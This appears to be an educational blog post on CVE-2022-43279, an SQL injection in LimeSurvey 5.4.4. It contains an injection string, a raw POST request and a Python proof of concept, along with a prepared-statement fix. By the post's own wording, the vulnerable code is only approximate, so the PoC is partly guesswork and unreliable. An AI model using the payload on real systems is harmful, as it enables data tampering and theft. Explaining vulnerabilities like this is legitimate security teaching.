LimeSurvey is a popular open-source tool used by businesses, universities, and organizations worldwide to create online surveys. But like any software, it’s not immune to vulnerabilities. In 2022, a critical issue known as CVE-2022-43279 was found in version 5.4.4 of LimeSurvey, allowing attackers to perform *SQL injection* via the /application/views/themeOptions/update.php endpoint.

This post explains, in simple American English, how this vulnerability works, shows example exploit code, and gives references to help you understand and test safely.

What Is CVE-2022-43279?

CVE-2022-43279 is a SQL injection vulnerability in LimeSurvey version 5.4.4. The vulnerability occurs because user input isn't properly sanitized before being used in database queries in the update.php file:

/application/views/themeOptions/update.php

That means a hacker can inject malicious SQL commands to leak, modify, or delete your data.

How Does the Exploit Work?

LimeSurvey's /application/views/themeOptions/update.php lets site administrators change theme settings. But if a user sends manipulated data (like form fields or URL parameters) that aren't cleaned before being queried, SQL injection is possible.

*For instance*, the vulnerable code might look roughly like this (pseudocode)

$themeOption = $_POST['themeOption'];           // No sanitization!
$sql = "UPDATE themes SET option='$themeOption' WHERE id=1";
$db->query($sql);

If the input isn't sanitized, an attacker could send malicious input such as

evilOption', value='malicious' WHERE '1'='1

So the SQL executed becomes

UPDATE themes SET option='evilOption', value='malicious' WHERE '1'='1';


Which lets them inject arbitrary queries.

Attack Scenario: Example Exploit

Say you’re running LimeSurvey v5.4.4, and the admin enters values for a theme setting. If that form field (say, themeOption) isn't filtered, an attacker might send a POST request like:

POST /index.php?r=themeOptions/update&id=1 HTTP/1.1
Host: limesurvey.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [len]

themeOption=foo', option='bar' WHERE 'x'='x

Using Python and requests, here’s a *demo Proof of Concept (PoC)*

import requests

url = "http://limesurvey.example.com/index.php?r=themeOptions/update&id=1";
payload = "themeOption=foo', option='bar' WHERE 'x'='x-- "
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

response = requests.post(url, data=payload, headers=headers)
print(response.text)

If the site hasn’t been patched, this code could modify database values, crash the app, or (with further exploitation) leak sensitive data.

Data Theft: Attackers might read usernames, email addresses, hashed passwords.

- Data Loss or Tampering: Attackers could update or delete survey questions, responses, or user records.
- System Compromise: If the database user has admin rights, attackers could exploit it to go further inside your environment.

Mitigation & Fix

The LimeSurvey team patched this problem in later versions. Upgrade to the latest LimeSurvey version. Always sanitize and parameterize input.

*How to fix:*

Change vulnerable code like this

// BAD
$sql = "UPDATE themes SET option='$themeOption' WHERE id=1";

// GOOD (using prepared statements)
$sql = "UPDATE themes SET option=? WHERE id=1";
$stmt = $db->prepare($sql);
$stmt->execute([$themeOption]);

References

- CVE-2022-43279 on NVD
- LimeSurvey Security Advisories
- OWASP SQL Injection Guide

Final Thoughts

SQL injection is still one of the biggest risks for web applications. CVE-2022-43279 is a reminder that input validation and updating software are absolutely necessary. If you run LimeSurvey v5.4.4 or earlier, you *must* upgrade — and if you’re a developer, use prepared statements religiously.

Stay safe, patch often, and test your web apps for vulnerabilities!


*Note: This write-up aims to educate and spread awareness about secure coding practices. Always perform testing on systems you own or have permission to test.*

Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/17/2022 04:59:00 UTC